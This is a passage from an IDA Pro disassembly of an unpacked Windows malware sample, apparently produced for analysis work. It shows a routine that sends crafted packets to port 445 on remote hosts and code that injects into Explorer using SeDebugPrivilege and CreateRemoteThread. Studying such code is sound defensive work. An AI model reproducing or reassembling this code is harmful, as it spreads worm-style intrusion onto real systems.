; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 4152C383AA3AD3931AAE2588970D0C7A ; File Name : u:\work\4152c383aa3ad3931aae2588970d0c7a_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31500000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31501000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31501000 dd 77DEA2F9h ; resolved to->ADVAPI32.CryptCreateHashdword_31501004 dd 77DEA122h ; resolved to->ADVAPI32.CryptHashDatadword_31501008 dd 77DEAB80h ; resolved to->ADVAPI32.CryptVerifySignatureAdword_3150100C dd 77DEA254h ; resolved to->ADVAPI32.CryptDestroyHash ; sub_315028AE+FDr dword_31501010 dd 77DEA544h ; resolved to->ADVAPI32.CryptDestroyKeydword_31501014 dd 77DE8546h ; resolved to->ADVAPI32.CryptReleaseContextdword_31501018 dd 77DE7F96h ; resolved to->ADVAPI32.CryptAcquireContextAdword_3150101C dd 77DEA879h ; resolved to->ADVAPI32.CryptImportKeydword_31501020 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_31501024 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_31501028 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_3150102C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_315023E4+1Dr dword_31501030 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueAdword_31501034 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_315023E4+4Er ... dword_31501038 dd 77E34D78h ; resolved to->ADVAPI32.AbortSystemShutdownA align 10h dword_31501040 dd 7C830D74h, 7C80D262h; resolved to->KERNEL32.lstrcmpA ; sub_31503722:loc_31503968r ... dword_31501048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_315029C7+14Br dword_3150104C dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_31503608+EDr dword_31501050 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTime ; sub_31503371+Ar dword_31501054 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_31501058 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_3150105C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_31501060 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_31501064 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_31501068 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_315029C7+3Fr ... dword_3150106C dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; UPX0:31503448r ... dword_31501070 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_31501074 dd 7C86136Dh ; resolved to->KERNEL32.WinExecdword_31501078 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3150107C dd 7C863DE5h ; resolved to->KERNEL32.Process32Firstdword_31501080 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_31501084 dd 7C863F58h ; resolved to->KERNEL32.Process32Nextdword_31501088 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_315026C2+8Fr ... dword_3150108C dd 7C8308ADh ; resolved to->KERNEL32.CreateEventA ; sub_31502BE8+98r dword_31501090 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_31502BE8+C2r dword_31501094 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_315025F6+Fr dword_31501098 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_315028AE:loc_31502980r ... dword_3150109C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_315025F6+C3r dword_315010A0 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_315011C0+272r ... dword_315010A4 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_31501A62+E2r ... dword_315010A8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_315029C7+69r ... dword_315010AC dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcessdword_315010B0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_315017AF+2Cr dword_315010B4 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_31501D96+ECr dword_315010B8 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemorydword_315010BC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_31501911+19r ... dword_315010C0 dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_31502490+92r dword_315010C4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; UPX0:31501D1Ar dword_315010C8 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_315031EC+13r ... dword_315010CC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_315010D0 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_31501911+12r ... dword_315010D4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_315010D8 dd 7C80A017h ; resolved to->KERNEL32.SetEvent ; sub_31502B4C+1Br dword_315010DC dd 7C81320Ch ; resolved to->KERNEL32.OpenEventAdword_315010E0 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_31501BA8+66r ... dword_315010E4 dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrement ; sub_31502128+3Fr ... dword_315010E8 dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_315010EC dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_315010F0 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_315029C7+83r ... align 8 dword_315010F8 dd 77C1BF18h ; resolved to->MSVCRT.atoidword_315010FC dd 77C4CBE0h ; resolved to->MSVCRT.atandword_31501100 dd 77C4D444h ; resolved to->MSVCRT.sindword_31501104 dd 77C4CD34h ; resolved to->MSVCRT.cos; --------------------------------------------------------------------------- loc_31501108: ; DATA XREF: sub_31503A98r cmp [edi], ah retn 0FA77h ; DATA XREF: UPX0:loc_31503A92r ; --------------------------------------------------------------------------- db 27h, 0C2h, 77h dword_31501110 dd 77C47660h ; resolved to->MSVCRT.strchr ; sub_31503722+B9r dword_31501114 dd 77C46030h ; resolved to->MSVCRT.strcpydword_31501118 dd 77C46040h ; resolved to->MSVCRT.strcat; --------------------------------------------------------------------------- loc_3150111C: ; DATA XREF: UPX0:loc_31503A80r xchg eax, esp pop esp retn ; --------------------------------------------------------------------------- db 77h dword_31501120 dd 77C47C60h ; resolved to->MSVCRT.strstr ; sub_31502490+79r ... dword_31501124 dd 77C371D3h ; resolved to->MSVCRT.rand ; sub_31501BA8:loc_31501C76r ... dword_31501128 dd 77C371BCh ; resolved to->MSVCRT.srand ; sub_31503371+5Dr dword_3150112C dd 77C46F70h ; resolved to->MSVCRT.memcpydword_31501130 dd 77C478A0h ; resolved to->MSVCRT.strlendword_31501134 dd 77C475F0h ; resolved to->MSVCRT.memset dd 0 dword_3150113C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_31501A62+8Br ... dword_31501140 dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindowdword_31501144 dd 7E42DE87h ; resolved to->USER32.FindWindowAdword_31501148 dd 7E418A80h ; resolved to->USER32.GetWindowThreadProcessId align 10h dword_31501150 dd 42C30BFAh ; resolved to->WININET.InternetOpenUrlAdword_31501154 dd 42C2C8A1h ; resolved to->WININET.InternetOpenAdword_31501158 dd 42C2ABF4h ; resolved to->WININET.InternetReadFiledword_3150115C dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; UPX0:31502307r dd 0 dword_31501164 dd 71AB2DC0h ; resolved to->WS2_32.selectdword_31501168 dd 71AB2BC0h ; resolved to->WS2_32.ntohldword_3150116C dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_31501170 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_31501F6B+7Ar ... dword_31501174 dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_31501F6B+93r ... dword_31501178 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_31501F6B+B5r ... dword_3150117C dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_31501180 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastErrordword_31501184 dd 71AB2BF4h ; resolved to->WS2_32.inet_addrdword_31501188 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_315019F3+25r dword_3150118C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_31501BA8+ACr ... dword_31501190 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_31502277+Dr dword_31501194 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_31501BA8+F0r ... dword_31501198 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_31502DEC+46r dword_3150119C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_31501A62+67r ... dword_315011A0 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_315011C0+1D8r ... dword_315011A4 dd 71AC0BDEh ; resolved to->WS2_32.shutdown ; sub_31501A62+128r dword_315011A8 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_31501A62+12Fr ... align 10h dword_315011B0 dd 0FFFFFFFFh, 0 dd offset nullsub_1 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315011C0 proc near ; CODE XREF: sub_315020C4+36p ; sub_31502128+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31503A50 mov eax, dword_315059CC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_315059D0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_3150118C ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31501720 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31501190 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_315010A8 ; lstrcpynA lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_315059C0 push eax call dword_3150113C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31501233: ; CODE XREF: sub_315011C0+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31501233 push 60h lea eax, [ebp+var_E4] push offset dword_315054E0 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31503A44 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31503A3E ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31503A3E ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31503A44 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31503A38 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31503A38 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31501194 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31501198 ; connect cmp eax, 0FFFFFFFFh jz loc_31501716 mov esi, dword_315010A4 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3150119C push 89h push offset dword_315052C8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A8h push offset dword_31505354 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0DEh push offset dword_31505400 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp eax, 46h jl loc_3150170B cmp [ebp+var_730], 31h jnz loc_315015B6 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31503A38 ; memset add esp, 0Ch push offset byte_31505000 call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_EA4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_315010A0 ; lstrlenA push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31503A44 ; memcpy mov eax, dword_31505906 add esp, 0Ch mov [ebp+var_798], eax loc_31501457: ; CODE XREF: sub_315011C0+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 68h push offset dword_31505544 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0A0h push offset dword_315055B0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B cmp [ebp+arg_0], 0 jz loc_315016A6 push 68h lea eax, [ebp+var_89E4] push offset dword_31505768 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31503A44 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_315057D4 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31503A44 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31505848 push eax call sub_31503A44 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jz loc_3150170B push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_315016FE ; --------------------------------------------------------------------------- loc_315015B6: ; CODE XREF: sub_315011C0+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31503A38 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31505940 push eax call sub_31503A44 ; memcpy push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_31505000 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_315059B8 push eax call sub_31503A44 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31505940 push eax call sub_31503A44 ; memcpy add esp, 40h push offset byte_31505000 call sub_31503A3E ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_31505000 push eax call sub_31503A44 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31501652: ; CODE XREF: sub_315011C0+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31501652 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31503A38 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31503A38 ; memset add esp, 18h jmp loc_31501457 ; --------------------------------------------------------------------------- loc_315016A6: ; CODE XREF: sub_315011C0+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31505654 push eax call sub_31503A44 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31503A44 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_315056D4 push eax call sub_31503A44 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_315016FE: ; CODE XREF: sub_315011C0+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_3150170B: ; CODE XREF: sub_315011C0+1ADj ; sub_315011C0+1E1j ... push 2 push [ebp+var_4] call dword_315011A4 ; shutdown loc_31501716: ; CODE XREF: sub_315011C0+166j push [ebp+var_4] call dword_315011A8 ; closesocket pop esi loc_31501720: ; CODE XREF: sub_315011C0+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_315011C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501727 proc near ; CODE XREF: UPX0:loc_31501D5Ap var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_315010B4 ; LoadLibraryA mov esi, dword_315010B0 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_315017AB push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_315017AB push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_315017AB lea eax, [ebp+var_C] push eax push 20h call dword_315010AC ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_315017AB: ; CODE XREF: sub_31501727+28j ; sub_31501727+37j ... pop edi pop esi leave retn sub_31501727 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315017AF proc near ; CODE XREF: UPX0:31501D6Ep var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, ds:dword_31506190 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_315010C4 ; GetModuleHandleA mov esi, dword_315010B0 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_315017F6 loc_315017F2: ; CODE XREF: sub_315017AF+54j push 1 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_315017F6: ; CODE XREF: sub_315017AF+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_315017F2 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31501144 ; FindWindowA test eax, eax jnz short loc_31501824 call dword_31501140 ; GetForegroundWindow test eax, eax jnz short loc_31501824 push 2 jmp short loc_31501847 ; --------------------------------------------------------------------------- loc_31501824: ; CODE XREF: sub_315017AF+65j ; sub_315017AF+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31501148 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_315010C0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_3150184A push 3 loc_31501847: ; CODE XREF: sub_315017AF+45j ; sub_315017AF+73j pop eax jmp short loc_315018B5 ; --------------------------------------------------------------------------- loc_3150184A: ; CODE XREF: sub_315017AF+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_315010BC test eax, eax jz short loc_315018A8 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_315010B8 ; WriteProcessMemory push ds:dword_31506164 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31501894 push eax call esi ; CloseHandle jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_31501894: ; CODE XREF: sub_315017AF+DEj push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov [ebp+var_4], 5 jmp short loc_315018AF ; --------------------------------------------------------------------------- loc_315018A8: ; CODE XREF: sub_315017AF+B2j mov [ebp+var_4], 4 loc_315018AF: ; CODE XREF: sub_315017AF+E3j ; sub_315017AF+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_315018B5: ; CODE XREF: sub_315017AF+99j pop edi pop esi pop ebx leave retn sub_315017AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018BA proc near ; CODE XREF: sub_31501BA8+Bp ; UPX0:31501D30p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_315010C8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_31501128 ; srand pop ecx pop edi pop esi pop ebx leave retn sub_315018BA endp ; =============== S U B R O U T I N E ======================================= sub_315018E8 proc near ; CODE XREF: sub_315017AF+EAp ; UPX0:31501D3Ap ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_315010CC ; CreateMutexA retn sub_315018E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315018F7 proc near ; CODE XREF: sub_31501D96+145p ; sub_31501D96+150p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread pop ebp retn sub_315018F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501911 proc near ; CODE XREF: sub_31501BA8+12Cp ; sub_31501D96+12Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_315010D0 ; CreateThread push eax call dword_315010BC ; CloseHandle pop ebp retn sub_31501911 endp ; =============== S U B R O U T I N E ======================================= sub_31501932 proc near ; CODE XREF: sub_31501F6B+26p ; sub_315025F6+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_3150195A loc_31501943: ; CODE XREF: sub_31501932+26j call dword_31501124 ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31501943 loc_3150195A: ; CODE XREF: sub_31501932+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31501932 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501962 proc near ; CODE XREF: sub_315029C7+16Bp ; sub_31503608+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31503A38 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_315010D4 ; CreateProcessA push [ebp+var_C] mov esi, dword_315010BC mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31501962 endp ; =============== S U B R O U T I N E ======================================= sub_315019B8 proc near ; CODE XREF: sub_31502DEC+20p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_31501184 ; inet_addr mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_315019D5 test esi, esi jnz short loc_315019E7 cmp byte ptr [edi], 30h jz short loc_315019EE loc_315019D5: ; CODE XREF: sub_315019B8+12j push edi call dword_31501188 ; gethostbyname test eax, eax jz short loc_315019E7 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_315019E7: ; CODE XREF: sub_315019B8+16j ; sub_315019B8+26j cmp esi, 0FFFFFFFFh jnz short loc_315019EE xor esi, esi loc_315019EE: ; CODE XREF: sub_315019B8+1Bj ; sub_315019B8+32j mov eax, esi pop edi pop esi retn sub_315019B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315019F3 proc near ; CODE XREF: sub_315021B0+3Ep ; sub_31502277+7p var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3150117C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_31501A14 call dword_31501180 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_31501A14: ; CODE XREF: sub_315019F3+15j lea eax, [ebp+var_34] push eax call dword_31501188 ; gethostbyname test eax, eax jnz short loc_31501A29 mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_31501A29: ; CODE XREF: sub_315019F3+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_315019F3 endp ; =============== S U B R O U T I N E ======================================= sub_31501A32 proc near ; CODE XREF: sub_315020C4+22p ; sub_31502128+27p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_3150115C ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31501A32 endp ; =============== S U B R O U T I N E ======================================= sub_31501A48 proc near ; CODE XREF: sub_31501D96+40p ; sub_31501D96+4Cp ... arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_315010DC ; OpenEventA test eax, eax jz short locret_31501A61 push eax call dword_315010D8 ; SetEvent locret_31501A61: ; CODE XREF: sub_31501A48+10j retn sub_31501A48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501A62 proc near ; DATA XREF: sub_31501BA8+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi 